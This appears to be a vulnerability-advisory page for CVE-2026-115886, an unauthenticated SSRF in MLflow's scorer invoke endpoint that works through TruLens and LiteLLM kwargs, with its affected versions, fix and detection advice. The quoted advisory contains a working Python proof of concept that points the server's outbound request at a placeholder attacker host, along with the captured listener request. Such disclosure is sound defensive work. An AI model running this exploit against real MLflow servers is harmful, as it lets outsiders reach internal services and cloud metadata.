NewApp Monitoring is liveSign up free
AgentbeamBeta
AI agent vulnerability · MLflow

CVE-2026-115886: MLflow: SSRF on unauthenticated MLflow servers via third-party scorer kwargs in the scorer invoke, register, and GenAI evaluate endpoints

mediumCVSS 3.1 6.5GHSA-2wqp-q3c6-ccj5

MLflow's tracking server lets an unauthenticated caller make it send HTTP requests to any host. The scorer invoke endpoint builds a TruLens scorer from attacker JSON and passes the kwargs to LiteLLM, so `api_base` redirects the call. It affects mlflow >= 3.12.0rc0 and < 3.17.0 when `trulens` and `trulens-providers-litellm` are installed. Upgrade to 3.17.0.

Published Oct 23, 2026 · Analysis Oct 24, 2026

What an attacker can do

The endpoint POST /ajax-api/3.0/mlflow/scorer/invoke has no authentication decorator. Its handler calls Scorer.model_validate_json(), which imports a class from an allowlisted module such as mlflow.genai.scorers.trulens and instantiates it with attacker-supplied kwargs. The allowlist only checks the import path, not the kwargs.

With a model URI outside MLflow's native providers, such as openai:/gpt-4o, the TruLens code falls back to LiteLLM(model_engine=..., **kwargs). LiteLLM then sends api_base and api_key into litellm.completion(). The server issues a POST .../chat/completions to the attacker's host with attacker-chosen headers.

An attacker needs only network access to the tracking server. The public proof of concept first creates an experiment and a trace anonymously to get a trace id. The result is SSRF from the server's network position, so internal services and cloud metadata endpoints are reachable. The CVSS vector rates confidentiality and integrity impact as low, and there is no code execution. The flaw needs the optional TruLens packages in the server environment.

Who is affected

mlflow from 3.12.0rc0 up to but not including 3.17.0. Servers are exposed only if trulens and trulens-providers-litellm are installed in the same environment and the tracking server is reachable without authentication.

Check the versions on the server host:

pip show mlflow trulens trulens-providers-litellm

If the TruLens packages are absent, the described path does not apply.

mlflow

Ecosystem
PyPI
Affected
>= 3.12.0rc0, < 3.17.0
Fixed in
3.17.0
Check
pip show mlflow

How to fix it

Upgrade to mlflow 3.17.0:

pip install --upgrade "mlflow>=3.17.0"

The fix (pull request 25890) adds _validate_third_party_scorer_data in mlflow/utils/validation.py. It rejects api_base, base_url, model_list, fallbacks and custom_llm_provider at any depth in scorer kwargs. It is applied to the scorer register and invoke handlers, to scorers loaded from the store, and to the GenAI evaluate handler. The sources give no workaround for the bug itself. Judges that need a custom endpoint should use a gateway:/ endpoint or provider environment variables set on the server.

How to tell if you were hit

Look in server logs for POST requests to /ajax-api/3.0/mlflow/scorer/invoke from unexpected clients, especially bodies containing third_party_scorer_data with a kwargs object holding api_base. Check egress logs from the MLflow host for outbound POST .../chat/completions requests to hosts that are not your LLM providers, and for requests to internal addresses or metadata endpoints. Unexpected experiments or traces created by anonymous clients can also mark probing.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

Summary

MLflow's tracking server exposes POST /ajax-api/3.0/mlflow/scorer/invoke with no authentication, and the handler reflectively instantiates an attacker-named class from attacker-supplied JSON with unconstrained constructor kwargs. With the optional trulens + trulens-providers-litellm packages installed, an unauthenticated attacker can force the server to make an outbound HTTP request to an arbitrary host of their choosing, carrying attacker-controlled headers (SSRF).

Details

Scorer.model_validate_json() reflects a class name from a JSON payload behind an import-path allowlist that never constrains the reflected attribute or its kwargs, in mlflow/genai/scorers/base.py:549-604:

data = serialized.third_party_scorer_data          # attacker JSON
module_path = data.get("module") or ""
class_name = data.get("class")
if not any(module_path == m or module_path.startswith(m + ".")
           for m in THIRD_PARTY_SCORER_ALLOWED_MODULES):
    raise MlflowException.invalid_parameter_value(...)
module = importlib.import_module(module_path)
scorer_class = getattr(module, class_name, None)   # attribute NOT constrained
...
init_kwargs: dict[str, Any] = dict(data.get("kwargs") or {})  # kwargs NOT constrained
...
init_kwargs["model"] = data["model"]               # attacker model URI
scorer_instance = scorer_class(**init_kwargs)      # reflective instantiation

The allowlist (mlflow/genai/scorers/scorer_utils.py:46-51) only gates the import path:

THIRD_PARTY_SCORER_ALLOWED_MODULES = frozenset({
    "mlflow.genai.scorers.ragas",
    "mlflow.genai.scorers.deepeval",
    "mlflow.genai.scorers.trulens",
    "mlflow.genai.scorers.phoenix",
})

For a mlflow.genai.scorers.trulens class, the forwarded model/kwargs reach an outbound LLM client through a routing choice the attacker controls (mlflow/genai/scorers/trulens/models.py:97-121):

backend = ScorerLLMClient(model_uri)
if backend.route == "databricks":
    return _create_databricks_provider(backend, **kwargs)
if backend.is_native:
    return _create_gateway_provider(backend, **kwargs)
try:
    from trulens.providers.litellm import LiteLLM
    litellm_model = backend.model_name
    ...
    return LiteLLM(model_engine=litellm_model, **kwargs)   # raw attacker kwargs forwarded

Only the litellm fallback branch reaches raw **kwargs; a model URI outside MLflow's native provider registry (e.g. openai:/gpt-4o) trivially routes there, and LiteLLM.__init__ forwards api_base/api_key straight into litellm.completion().

  • Route: POST /ajax-api/3.0/mlflow/scorer/invoke → _invoke_scorer_handler (mlflow/server/handlers.py:7026-7098), guarded only by @catch_mlflow_exception/@_disable_if_artifacts_only — no auth decorator.
  • Scorer.model_validate_json(serialized_scorer) (the vulnerable deserialization) runs synchronously, before any tracking-store lookup or submit_job call.
  • Precondition: the server venv must have trulens + trulens-providers-litellm installed (a documented but optional, not-bundled GenAI-eval setup).

PoC

import time
import mlflow
from mlflow import MlflowClient
import requests

TARGET = "http://TARGET:5000"           # MLflow tracking server, no auth configured
ATTACKER = "http://ATTACKER/collect"    # host the attacker controls and monitors

client = MlflowClient(tracking_uri=TARGET)

# 1. Anonymous setup: create an experiment and log a trace to obtain a trace_id.
exp_id = client.create_experiment("poc")
mlflow.set_tracking_uri(TARGET)
mlflow.set_experiment(experiment_id=exp_id)
with mlflow.start_span(name="poc-span") as span:
    span.set_inputs({"q": "hi"})
    span.set_outputs({"a": "hi"})
trace_id = span.request_id

# 2. Attack: invoke a reflected trulens scorer whose kwargs point the
#    outbound LLM client at the attacker host with an attacker-chosen
#    Authorization value (their own canary, not a server secret).
serialized_scorer = {
    "name": "poc",
    "third_party_scorer_data": {
        "module": "mlflow.genai.scorers.trulens",
        "class": "Coherence",
        "metric_name": "Coherence",
        "model": "openai:/gpt-4o",          # routes to the litellm fallback
        "kwargs": {
            "api_base": ATTACKER,
            "api_key": "ATTACKER-CANARY",   # attacker's own value, not a server secret
        },
    },
}
resp = requests.post(
    f"{TARGET}/ajax-api/3.0/mlflow/scorer/invoke",
    json={
        "experiment_id": exp_id,
        "serialized_scorer": __import__("json").dumps(serialized_scorer),
        "trace_ids": [trace_id],
    },
)
print(resp.status_code, resp.text)
time.sleep(5)  # scorer job runs asynchronously
# Attacker-controlled listener at ATTACKER receives, moments later:
POST /collect/chat/completions HTTP/1.1
Authorization: Bearer ATTACKER-CANARY
Content-Type: application/json
...

The POST .../chat/completions request landing on ATTACKER, carrying the attacker's own Authorization header, is the server-originated outbound request — no request was ever sent by the client to that host directly.

Impact

An unauthenticated attacker forces the tracking server to issue an outbound HTTP request to an arbitrary attacker-chosen host — reachable from the server's network position, including internal services or cloud-metadata endpoints — with fully attacker-controlled request headers and body. This is SSRF with header/credential injection into the server-originated request; it requires no prior authentication and no operator misconfiguration beyond having the optional trulens + trulens-providers-litellm packages installed alongside MLflow.

Credited to adamyordan.

Questions

Does CVE-2026-115886 need authentication?

No. The scorer invoke endpoint has no authentication check. Anyone who can reach the tracking server over the network can send the request, unless you put your own access control in front of it.

Am I affected if I do not use TruLens?

The documented exploit path goes through the TruLens LiteLLM fallback. It needs trulens and trulens-providers-litellm installed in the server environment. The advisory describes no path without them, but upgrading to 3.17.0 is still the safe choice.

Can this lead to code execution?

The advisory describes SSRF with attacker-controlled headers and body. It scores confidentiality and integrity as low and does not report code execution.

Is it exploited in the wild?

None of the sources report exploitation, and it is not in CISA's KEV catalog. A proof of concept is public in the advisory.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

More MLflow vulnerabilities

All MLflow entries